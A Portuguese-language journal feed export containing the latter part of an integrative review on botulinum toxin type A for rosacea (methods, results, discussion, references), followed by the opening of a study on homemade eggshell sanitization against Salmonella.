<p class="wp-block-paragraph">É essencial que o procedimento seja realizado por um profissional capacitado, que siga os protocolos adequados a cada seis meses, para evitar o risco de reações adversas (Ferreira et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">O estudo dos efeitos da toxina botulínica tipo A no tratamento da rosácea é fundamental para a expansão das opções terapêuticas, oferecendo alternativas mais seguras e eficazes. Este trabalho fornece atualizações importantes que demonstram a capacidade da toxina botulínica de reduzir a inflamação e o rubor facial, melhorando a qualidade de vida dos pacientes, conforme descrito por (Sá et al. 2023). Dessa forma, a importância de aprofundar o conhecimento sobre o uso da toxina botulínica no tratamento da rosácea, evidenciando sua relevância para a prática clínica representa uma relevância no estado da arte de intervenções estéticas para esta disfunção.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Este trabalho foi desenvolvido por meio de uma revisão integrativa da literatura, que se caracteriza por sintetizar e analisar estudos relevantes sobre o uso da toxina botulínica tipo A no tratamento da rosácea. Assim, teve-se como propósito reunir evidências atualizadas que fundamentam a aplicabilidade dessa abordagem terapêutica na prática biomédica. A revisão foi conduzida por etapas sistemáticas, começando pela definição da questão norteadora da pesquisa: como a toxina botulínica tipo A pode ser utilizada no tratamento da rosácea e quais são seus efeitos no controle da doença?&nbsp;</p>



<p class="wp-block-paragraph">Realizou-se a busca bibliográfica nas bases de dados PubMed, SciELO e Portal de Periódicos CAPES, utilizando descritores extraídos dos Descritores em Ciências da Saúde (DeCS), bem como palavras-chave equivalentes em inglês, abrangendo os termos rosácea, toxina botulínica tipo A e terapia dermatológica.&nbsp;</p>



<p class="wp-block-paragraph">Foram incluídos artigos científicos originais, revisões sistemáticas, estudos experimentais, trabalhos de conclusão de curso, teses e dissertações publicados entre os anos de 2015 e 2025, redigidos em português ou inglês, que apresentem dados completos e abordem diretamente a relação entre o uso da toxina botulínica e o controle clínico da rosácea. Além disso, a análise também abrangeu estudos que apresentem metodologia clara, resultados consistentes e relevância para o contexto da prática biomédica.&nbsp;</p>



<p class="wp-block-paragraph">Entre os critérios de exclusão, foram desconsideradas publicações anteriores a 2015, bem como textos redigidos em idiomas diferentes do português ou do inglês. Também foram excluídos os estudos que não abordam diretamente o uso da toxina botulínica tipo A em casos de rosácea, aqueles que apresentam dados incompletos, metodologia insuficiente, fontes não acadêmicas como blogs, fóruns ou redes sociais, e pesquisas que não atendam aos critérios éticos estabelecidos para publicações científicas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS&nbsp;</strong></p>



<p class="wp-block-paragraph">Foram identificados 86 estudos nas bases PubMed, SciELO e Portal de Periódicos CAPES. Após a análise de títulos e resumos, 59 estudos foram excluídos por não apresentarem relação direta<strong> </strong>com o tema ou não atenderem aos critérios pré estabelecidos, resultando em 27 artigos selecionados para leitura na íntegra.&nbsp;</p>



<p class="wp-block-paragraph">Na etapa de elegibilidade, esses 27 estudos foram avaliados conforme os critérios de inclusão: artigos originais, revisões sistemáticas, estudos experimentais, TCCs, teses e dissertações, publicados entre 2015 e 2025, nos idiomas português ou inglês, com dados completos, metodologia clara e discussão direta sobre o uso da toxina botulínica tipo A no tratamento da rosácea. Também foi considerada a relevância científica e aplicabilidade clínica para a prática biomédica.&nbsp;</p>



<p class="wp-block-paragraph">Foram excluídos estudos anteriores a 2015, escritos em outros idiomas, que não abordavam especificamente a toxina botulínica em casos de rosácea, apresentavam dados incompletos, metodologia insuficiente, fontes não acadêmicas (como blogs, fóruns ou redes sociais), ou que não atendiam aos princípios éticos de pesquisa científica.&nbsp;</p>



<p class="wp-block-paragraph">Após esse processo de seleção, 7 estudos atenderam integralmente aos critérios de inclusão e compuseram a amostra final desta revisão integrativa (Figura 1).&nbsp;</p>



<p class="wp-block-paragraph">O Quadro 1 apresenta a síntese dos estudos incluídos nesta revisão integrativa, abordando o uso da toxina botulínica tipo A no tratamento da rosácea. Os artigos selecionados foram publicados entre os anos de 2015 e 2023, conduzidos em diferentes países, incluindo Brasil e Estados Unidos. Observa-se que a maioria dos estudos foi realizada em ambientes dermatológicos clínicos e universitários, com enfoque na rosácea eritemato-telangiectásica. De modo geral, os resultados demonstram que a aplicação intradérmica da toxina botulínica tipo A promoveu redução significativa do eritema, flushing e inflamação cutânea, além de melhora da qualidade de vida dos pacientes, sem relato de efeitos adversos relevantes (Alsaati et al., 2023; Choi et al., 2019; Weinkle et al., 2015).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1. </strong>Fluxograma do processo de seleção dos estudos.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="514" height="598" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-224.jpeg" alt="" class="wp-image-245222" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-224.jpeg 514w, https://revistaft.com.br/wp-content/uploads/2025/10/image-224-258x300.jpeg 258w" sizes="(max-width: 514px) 100vw, 514px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Desenvolvido pelas autoras, 2025.&nbsp;</p>



<p class="wp-block-paragraph">O Quadro 1 apresenta a síntese dos estudos incluídos nesta revisão integrativa, abordando o uso da toxina botulínica tipo A no tratamento da rosácea. Os artigos selecionados foram publicados entre os anos de 2015 e 2023, conduzidos em diferentes países, incluindo Brasil e Estados Unidos. Observa-se que a maioria dos estudos foi realizada em ambientes dermatológicos clínicos e universitários, com enfoque na rosácea eritemato-telangiectásica. De modo geral, os resultados demonstram que a aplicação intradérmica da toxina botulínica tipo A promoveu redução significativa do eritema, flushing e inflamação cutânea, além de melhora da qualidade de vida dos pacientes, sem relato de efeitos adversos relevantes (Alsaati et al., 2023; Choi et al., 2019; Weinkle et al., 2015).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1:&nbsp; </strong>Estudos incluídos na revisão integrativa e seus principais achados.</p>



<p class="has-text-align-center wp-block-paragraph"></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="714" height="794" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-1972.png" alt="" class="wp-image-245233" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-1972.png 714w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1972-270x300.png 270w" sizes="(max-width: 714px) 100vw, 714px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="713" height="229" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-1969.png" alt="" class="wp-image-245230" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-1969.png 713w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1969-300x96.png 300w" sizes="(max-width: 713px) 100vw, 713px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>Desenvolvido pelas autoras, 2025.&nbsp;</p>



<p class="wp-block-paragraph">Embora a rosácea já tenha sido caracterizada em seções anteriores, é pertinente destacar aspectos fisiopatológicos que sustentam os avanços terapêuticos recentes. A doença envolve uma complexa interação entre fatores neurovasculares, imunológicos e microbianos, incluindo a ativação de mastócitos, o aumento da expressão de receptores TRPV1 e a presença exacerbada de Demodex folliculorum na pele. Esses mecanismos contribuem para o eritema persistente, a inflamação e a hipersensibilidade cutânea observadas nos pacientes (Oliveira et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">Com base nesse entendimento, novas abordagens terapêuticas têm sido desenvolvidas, como o uso de inibidores de proteases, moduladores neurovasculares e terapias combinadas com luz pulsada intensa (IPL) e laser, além da terapia de punção colateral, que tem apresentado bons resultados em casos refratários (Manzan et al., 2024; Pereira et al., 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A integração entre o conhecimento fisiopatológico e a prática clínica tem ampliado as possibilidades de controle da rosácea, promovendo tratamentos mais personalizados, seguros e eficazes, e reforçando o potencial da toxina botulínica tipo A como uma alternativa promissora dentro desse contexto terapêutico (Silva; Gontijo, 2022).&nbsp;</p>



<p class="wp-block-paragraph">A figura 2, apresenta os principais tipos de rosácea, seus sintomas característicos e terapias tradicionalmente utilizadas. A forma eritematotelangiectásica é marcada por vermelhidão persistente e vasos aparentes; a papulopustulosa demonstra pápulas e pústulas sobre áreas avermelhadas; a forma fimatosa mostra espessamento da pele, especialmente no nariz; e a ocular envolve irritação, vermelhidão e desconforto nos olhos. Para cada tipo, estão indicadas as abordagens terapêuticas mais utilizadas, como medicamentos tópicos, antibióticos orais, luz pulsada, laser e, em casos específicos, procedimentos cirúrgicos, conforme descrito por ( Steinhoff et al., 2016).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2: </strong>Classificação da Rosácea</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="807" height="445" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-225.jpeg" alt="" class="wp-image-245235" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-225.jpeg 807w, https://revistaft.com.br/wp-content/uploads/2025/10/image-225-300x165.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-225-768x423.jpeg 768w" sizes="(max-width: 807px) 100vw, 807px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>Elaborado pelas autoras, 2025.&nbsp;</p>



<p class="wp-block-paragraph">A seguir, são apresentados os resultados obtidos a partir da aplicação da toxina botulínica tipo A no tratamento da rosácea. As simulações demonstram a evolução clínica dos pacientes antes e após as sessões, evidenciando as mudanças observadas na coloração, textura e aparência geral da pele. Estudos como os de (Alsaati et al. 2023) e (Choi et al. 2019) demonstram que a aplicação intradérmica da toxina promoveu melhora significativa dos sintomas da rosácea, incluindo redução do eritema e da inflamação cutânea.&nbsp;</p>



<p class="wp-block-paragraph">Por meio da comparação entre os desenhos de “antes” e “depois”, é possível observar a redução da vermelhidão facial, a melhora na uniformidade do tom de pele e a diminuição das lesões inflamatórias características da rosácea. Esses resultados reforçam a eficácia terapêutica da toxina botulínica tipo A como uma alternativa promissora no manejo da doença.&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph">A figura 3, representa uma simulação de pacientes com rosácea antes e depois do tratamento. No primeiro momento, observa-se eritema facial acentuado e presença de telangiectasias predominantes nas regiões das bochechas e do nariz. Na imagem simulada do pós-tratamento, após a aplicação de toxina botulínica tipo A associada à luz pulsada intensa (IPL), é demonstrada uma melhora visível do eritema e redução das telangiectasias, principalmente nas áreas malar e nasal (Weinkle et al., 2015).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3: </strong>Na simulação (A) observa-se redução significativa do eritema e das telangiectasias nas bochechas e no nariz. Na fotografia (B), a melhora se estende a toda a face, incluindo queixo e testa.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="608" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-226-1024x608.jpeg" alt="" class="wp-image-245237" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-226-1024x608.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-226-300x178.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-226-768x456.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-226.jpeg 1239w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>Elaborado pelas autoras, 2025.&nbsp;</p>



<p class="wp-block-paragraph">Conforme demonstra a Figura 4, a ilustração demonstra uma paciente com rosácea, apresentando eritema persistente em regiões como testa, bochechas e queixo. Na imagem simulada de um mês após o tratamento com toxina botulínica tipo A, observa-se melhora expressiva do rubor facial. Ao lado, o desenho técnico exibe o esquema das marcações utilizadas para as injeções intradérmicas, indicando de forma didática os pontos de aplicação do procedimento (Vasconcellos et al., 2021).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 4: </strong>&nbsp;Paciente com rosácea e eritema persistente na testa, bochechas e queixo.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="1024" height="822" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-227.jpeg" alt="" class="wp-image-245238" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-227.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-227-300x241.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-227-768x617.jpeg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>Elaborado pelas autoras, 2025.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A rosácea é uma dermatose inflamatória crônica caracterizada por eritema persistente, telangiectasias, pápulas e pústulas, acometendo predominantemente a região centrofacial. Os tratamentos convencionais buscam controlar as manifestações clínicas e melhorar a qualidade de vida do paciente, uma vez que ainda não há cura definitiva. Entre as opções terapêuticas tradicionais, destacam-se o uso de antibióticos tópicos (como metronidazol e ivermectina), antibióticos orais (doxiciclina e minociclina), além de retinóides em casos refratários. Terapias com brimonidina tópica e oximetazolina têm sido empregadas no controle do eritema persistente, enquanto o laser vascular e a luz intensa pulsada (LIP) são alternativas eficazes para telangiectasias e rubor facial (Del Rosso et al., 2020; Elewski et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">A presente revisão evidencia que a toxina botulínica tipo A (BTX-A) tem se mostrado eficaz no controle dos sintomas da rosácea, especialmente no que se refere ao eritema persistente, ao rubor facial (flushing) e às manifestações inflamatórias cutâneas. Estudos como os de (Zhang et al. 2021) e (Alsaati et al. 2023) demonstram que a aplicação intradérmica da substância proporciona alívio significativo das queixas clínicas, com baixa frequência de efeitos adversos relatados. Apesar dos resultados positivos, observa-se que a duração da resposta terapêutica é limitada, o que torna necessário o planejamento de reaplicações regulares para manutenção dos benefícios.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, observou-se que a aplicação intradérmica da toxina botulínica apresenta resultados consistentes, sobretudo em pacientes com eritema persistente refratário. A resposta clínica ocorre geralmente nas primeiras quatro semanas após o procedimento, com duração média de três meses, sem o efeito rebote frequentemente descrito em outras terapias intradérmicas. A literatura também indica que a técnica é segura e bem tolerada, sendo os efeitos adversos restritos a dor leve no momento da aplicação e pequenos hematomas locais, que se resolvem espontaneamente. Embora ainda não exista cura definitiva para a rosácea, esse método terapêutico tem demonstrado capacidade de controlar suas manifestações clínicas e melhorar a qualidade de vida dos pacientes, reforçando sua relevância no contexto das opções disponíveis (Silva et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">No que se refere à concentração e formulação, a BTX-A utilizada em estudos para rosácea apresenta diluições que variam entre 10 a 20 unidades por mL, administradas de forma intradérmica em microinjeções distribuídas pela área afetada. A padronização da dose ainda não está completamente estabelecida, mas resultados promissores foram obtidos com injeções de 1 a 2 unidades por ponto, espaçadas de 0,5 a 1 cm entre si (Alsaati et al., 2023). Entre as marcas comerciais disponíveis, a onabotulinumtoxinA (Botox®) e a abobotulinumtoxinA (Dysport®) são as mais utilizadas, devido à ampla disponibilidade e segurança clínica comprovada (Dressler &amp; Benecke, 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Cabe destacar que a toxina botulínica tipo A, além de seu uso estético amplamente difundido, possui aplicações terapêuticas em diversas condições médicas, o que evidencia sua versatilidade e segurança clínica. Estudos relatam que a substância, inicialmente descrita por Kerner em 1822, vem sendo utilizada com sucesso não apenas na dermatologia estética, mas também em distúrbios motores, na hiperidrose e em outras condições que comprometem a qualidade de vida dos pacientes (Archives of Health, 2024). Essa ampla aplicabilidade reforça seu potencial terapêutico e contribui para o entendimento de sua eficácia no manejo da rosácea.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">Pode-se concluir que a rosácea é uma doença inflamatória crônica que afeta a face e compromete a qualidade de vida dos pacientes. Apesar dos avanços, sua fisiopatologia ainda não é totalmente compreendida, o que reforça a importância de novas pesquisas para aprimorar as abordagens terapêuticas. As terapias convencionais, como antibióticos e corticosteroides, têm eficácia limitada e possíveis efeitos adversos, enquanto a toxina botulínica tipo A desponta como alternativa promissora, segura e eficaz na redução do eritema, flushing e lesões inflamatórias. A aplicação intradérmica, quando realizada por profissionais capacitados, mostra resultados clínicos consistentes, especialmente em associação a terapias combinadas. Assim, este estudo evidencia o potencial da toxina botulínica tipo A no manejo da rosácea e sua relevância para a atualização científica e a prática biomédica.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ALSAATI, A. A. et al. <strong>The efficacy and safety of Botulinum Toxin A for the treatment of rosacea: a systematic review.</strong> Cureus, v. 15, n. 12, p. e51304, dez.&nbsp;2023.&nbsp;</p>



<p class="wp-block-paragraph">ARDILA, C. G. et al. A case series of a novel approach in the treatment of rosacea: use of botulinum toxin and intense pulsed light for the treatment of erythematotelangiectatic rosacea<strong>. Journal of Cosmetic Dermatology</strong>, v. 24, n. 1, 1 jan. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. SOCIEDADE BRASILEIRA DE DERMATOLOGIA. Consenso sobre tratamento da rosácea. <strong>Anais Brasileiros de Dermatologia</strong>, v. 95, n. S1, p. 53–69, nov./dez. 2020.&nbsp;</p>



<p class="wp-block-paragraph">CHOI, J. E. et al. Botulinum toxin blocks mast cells and prevents rosacea-like inflammation. <strong>Journal of Dermatological Science</strong>, v. 93, n. 1, p. 58–64, jan. 2019.&nbsp;</p>



<p class="wp-block-paragraph">COSTA, J. S.; MAISONNETTE FELIZOLA, J.; FERREIRA DA SILVA, T. B. Tratamento terapêutico da rosácea com o uso de toxina botulínica. RECIMA21 <strong>– Revista Científica Multidisciplinar</strong>, v. 5, n. 1, e515258, mai. 2024.&nbsp;</p>



<p class="wp-block-paragraph">COUTO, L.; FERREIRA, I. L. O.; SILVEIRA, M. L.; STEINER, D. <strong>Estudo prospectivo para tratamento do rubor da rosácea com toxina botulínica tipo A</strong>. Surgical &amp; Cosmetic Dermatology, v. 10, n. 2, p. 121–126, 2018.&nbsp;</p>



<p class="wp-block-paragraph">DEL ROSSO, J. Q. et al. Management of rosacea: a comprehensive overview. <strong>Journal of Clinical and Aesthetic Dermatology, </strong>New York, v. 13, n. 8, p. 17–27, ago. 2020.&nbsp;</p>



<p class="wp-block-paragraph">DRESSLER, D.; BENECKE, R. <strong>Pharmacology of therapeutic botulinum toxin preparations. Movement Disorders</strong>, Nova York, v. 36, n. 2, p. 228–234, fev. 2021.&nbsp;</p>



<p class="wp-block-paragraph">FERREIRA, B. S.; RUIZ, A. C.; PEREIRA, É. R.; CRISPIM, L. F.; ARAÚJO, W. A. F. O uso da toxina botulínica tipo A por farmacêuticos em procedimentos estéticos: revisão narrativa. <strong>Brazilian Journal of Development</strong>, v. 9, n. 2, p. 6769–6783, fev.&nbsp;2023.&nbsp;</p>



<p class="wp-block-paragraph">GOUVEIA, B. N.; FERREIRA, L. L. P.; SOBRINHO, H. M. R. O uso da toxina botulínica em procedimentos estéticos. <strong>Revista Brasileira Militar de Ciências</strong>, v. 6, n. 16, p.&nbsp;56, 2020.&nbsp;</p>



<p class="wp-block-paragraph">LUQUE, A. et al. Botulinum toxin: an effective treatment for flushing and persistent erythema in rosacea. <strong>The Journal of Clinical and Aesthetic Dermatology</strong>, v. 14, n.&nbsp;3, p. 42, mar. 2021.&nbsp;</p>



<p class="wp-block-paragraph">MALACHOSKI, K. G. G. dos S.; RIBAS, J. L. C<strong>. Tratamentos utilizados para o controle dos sinais e sintomas na rosácea.</strong> Research, Society and Development,&nbsp;v. 10, n. 2, p. e55610212780, fev. 2021.&nbsp;</p>



<p class="wp-block-paragraph">MANZAN, Mateus et al. Novas abordagens no manejo da rosácea. <strong>Revista Brasileira Medicina de Excelência</strong>, v. 2, n. 3, p. 1–10, jul./ago. 2024.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">OLIVEIRA, C. M. M.; ALMEIDA, L. M. C.; BONAMIGO, R. R.; LIMA, C. W. G.;&nbsp;BAGATIN, E. Consenso sobre tratamento da rosácea<strong>. Anais Brasileiros de Dermatologia,</strong> v. 95, n. S1, p. 53–69, nov./dez. 2020.&nbsp;</p>



<p class="wp-block-paragraph">PEREIRA, Luiza Bensemann Gontijo et al. Rosácea: uma revisão dos novos tratamentos. <strong>Revista BWS Journal</strong>, v. 1, n. 2, p. 45–55, 2023.&nbsp;</p>



<p class="wp-block-paragraph">RODRIGUES, A. N.; GUZMÁN, L. F. <strong>Uso off-label de BTX em tratamento da rosácea. </strong>Archives of Health, v. 2, n. 1, p. 20–26, fev. 2021.&nbsp;</p>



<p class="wp-block-paragraph">RYAN, C. et al. Rosacea: pathogenesis and therapeutic correlates. <strong>Journal of Cutaneous Medicine and Surgery,</strong> v. 28, n. 2, p. 178–189, mar. 2024.&nbsp;</p>



<p class="wp-block-paragraph">SÁ, V. H. L. C.; ELIAS, P. E.; PEREIRA, G. V.; CHEHTER, E. Z. Tratamento da face de mulheres com toxina botulínica do tipo A: revisão de 7 anos. <strong>Revista Brasileira de Cirurgia Plástica</strong>, v. 38, n. 2, p. 525–534, 2023.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, A. C. P.; RIESEMBERG, M. O.; OKAR, R. B.; DAROS, F. A. G. <strong>O uso da toxina botulínica tipo A para fins terapêuticos. Trabalho acadêmico.</strong> Faculdade Pequeno Príncipe, Curitiba, 2024.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SILVA, A. R.; OLIVEIRA, M. A.; SANTOS, J. F. Aplicação intradérmica da toxina botulínica no tratamento da rosácea<strong>. Brazilian Journal of Development,</strong> v. 8, n. 5, p.&nbsp;32413–32424, maio 2022.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, Amanda; GONTIJO, Lara Vitória de Paula.<strong> Potencial terapêutico da toxina botulínica tipo A na rosácea: revisão integrativa.</strong> Trabalho de Conclusão de Curso (Graduação em Farmácia) – Universidade Federal de Minas Gerais, Belo Horizonte, 2022.&nbsp;</p>



<p class="wp-block-paragraph">STEINHOFF, M. et al. Rosacea: new insights into pathophysiology and treatment.&nbsp;<strong>Nature Reviews Disease Primers</strong>, v. 2, p. 16088, 2016.&nbsp;</p>



<p class="wp-block-paragraph">SUAREZ, M. V.; FRANCESCONI, F.; GONÇALVES, H. et al. Epidemiological profile of rosacea in dermatology outpatient clinics in Brazil: an observational report from the Brazilian study group on rosacea. European <strong>Journal of Dermatology</strong>, v. 33, n. 1, p.&nbsp;6–11, jan./fev. 2023.&nbsp;</p>



<p class="wp-block-paragraph">VASCONCELLOS, J. B.; SANTOS, I. O.; ANTELO, D. A. P<strong>. Use of botulinum toxin for rosacea: a pilot study. Surgical &amp; Cosmetic</strong> Dermatology, v. 13, n. 1, p. e20210019, 2021.&nbsp;</p>



<p class="wp-block-paragraph">VAN ZUUREN, E. J. et al. Rosacea: new concepts in classification and treatment<strong>.&nbsp;American Journal of Clinical Dermatology</strong>, v. 22, n. 4, p. 457–465, jul. 2021.&nbsp;</p>



<p class="wp-block-paragraph">WEINKLE, A. P. et al. <strong>Update on the management of rosacea</strong>. Clinical, Cosmetic and Investigational Dermatology, v. 8, p. 159–177, out. 2015.&nbsp;</p>



<p class="wp-block-paragraph">ZHANG, H. et al. <strong>Use of botulinum toxin in treating rosacea: a systematic review.</strong>&nbsp;Clinical, Cosmetic and Investigational Dermatology, v. 14, p. 407–417, abr. 2021.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Graduanda do curso de Biomedicina &#8211; adriellydesouza996@gmail.com<br><sup>2</sup>Graduanda do curso de Biomedicina &#8211; eduardasiqueira3060@gmail.com<br><sup>3</sup>Doutora em ciências – UFAL &#8211; erica.rodrigues@cesmac.edu.br</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>EFICÁCIA DE RECEITAS CASEIRAS NA HIGIENIZAÇÃO PARA REDUÇÃO DA SALMONELLA E OUTROS PATÓGENOS EM CASCA DE OVO</title>
		<link>https://revistaft.com.br/eficacia-de-receitas-caseiras-na-higienizacao-para-reducao-da-salmonella-e-outros-patogenos-em-casca-de-ovo/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Fri, 24 Oct 2025 21:57:34 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 29 - Edição 151/OUT 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=242094</guid>

					<description><![CDATA[EFFECTIVENESS OF HOMEMADE RECIPES IN SANITIZATION TO REDUCTION SALMONELLA AND OTHER PATHOGENS IN EGGSHELL REGISTRO DOI: 10.69849/revistaft/cl10202510241855 Flavia Jarosczynski Mattos1Katia Zoghbi Ospedal2 Resumo Doenças diarreicas continuam sendo uma causa significativa de morbidade e mortalidade em todo o mundo, a Salmonella entérica sorovar enteritidis é uma das causas com maior prevalência de gastroenterite humana, seguido por [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">EFFECTIVENESS OF HOMEMADE RECIPES IN SANITIZATION TO REDUCTION <em>SALMONELLA</em> AND OTHER PATHOGENS IN EGGSHELL</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202510241855</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Flavia Jarosczynski Mattos<sup>1</sup><br>Katia Zoghbi Ospedal<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">Doenças diarreicas continuam sendo uma causa significativa de morbidade e mortalidade em todo o mundo, a <em>Salmonella </em>entérica sorovar <em>enteritidis</em> é uma das causas com maior prevalência de gastroenterite humana, seguido por <em>Salmonella typhimurium</em>. Estes patógenos estão relacionados aos muitos surtos de origem alimentar envolvendo ovos e ovo-produtos<strong>, </strong>acredita-se que poedeiras infectadas sejam a principal fonte desta infecção.&nbsp; A popularização a respeito das contaminações relacionadas aos ovos de mesa incitou medidas independentes na tentativa de limpar ou higienizar este alimento em domicilio, receitas vulgares de comum acesso na <em>internet</em> têm sido divulgadas e recomendadas para tal fim, no entanto, tais hipóteses sem a prévia da reprodutibilidade laboratorial e comprovação dos métodos sugeridos não tem valor recomendável. Diante destes questionamentos foram selecionadas três formas encontradas envolvendo as combinações de água com hipoclorito de sódio (cloro), água com ácido acético (vinagre), e água submetida ao aumento e controle da temperatura (45 °C) para redução microbiológica do risco. <strong>Objetivo:</strong> esta pesquisa apresenta a reprodução destas receitas, sob o controle laboratorial, as quais foram postas a prova das culturas sólidas em ágar Mueller Hinton, MacConkey e Xilose Lisina Desoxicolato&nbsp;(XLD) usando como controle a cepa da <em>S. typhimurium</em>, consideraram-se os critérios de padrão microbiológico de alimentos da Agência Nacional de Vigilância Sanitária – ANVISA. De maneira concomitante as receitas foram testadas com o intuito de avaliar quantitativamente a redução microbiana da casca do ovo em pré e pós.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong><em>Salmonella</em>; ovos; higienização domiciliar.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A infecção aguda pela bactéria da <em>Salmonella spp</em>. e seus respectivos sorotipos é a causa mais comum de gastroenterite em humanos, sendo considerado um grande problema de saúde pública em todo o mundo, em países industrializados e para países em desenvolvimento, ou em aspectos gerais em áreas com precário acesso a água tratada e saneamento, com isso se tem contribuído para um aumento da disseminação da salmonelose e suas consequências como a sobrecarga nos sistemas de saúde e econômico de muitas nações, sendo a maior incidência em países de clima tropical e subtropical. Em grande parte a transmissão desta infecção ocorre em resultado da ingestão de alimentos ou água contaminada, sendo uma das principais doenças difundidas por alimentos em todo o mundo. Estima-se que mais de 93 milhões de pessoas a nível global se contaminam anualmente com a <em>Salmonella</em> (GONG et al.<em>,</em> 2022). </p>



<p class="wp-block-paragraph">Em aspectos gerais os ovos de galinha podem ser contaminados pela bactéria em transmissão horizontal, ou seja, durante a postura onde a parte externa (casca) entra em contato com o bacilo ao passar pela cloaca ou após através do encontro com as fezes da poedeira infectada. Outra via possível ocorre pela transmissão vertical, onde o albúmen, gema, membranas da casca ou casca antes mesmo da oviposição são infectados durante a sua formação nos órgãos reprodutivos da ave (GANTOIS et al.<em>,</em> 2009).&nbsp; O interior do ovo se torna contaminado com <em>Salmonella </em>sovorar<em> enteritidis</em> em consequência da virulência do patógeno, capaz de infiltrar nos tecidos reprodutivos das aves e colonizá-los, condição sistêmica; Os demais sorovares se relacionam a contaminação da superfície externa dos ovos (GAST, DITTOE &amp; RICKE, 2022). </p>



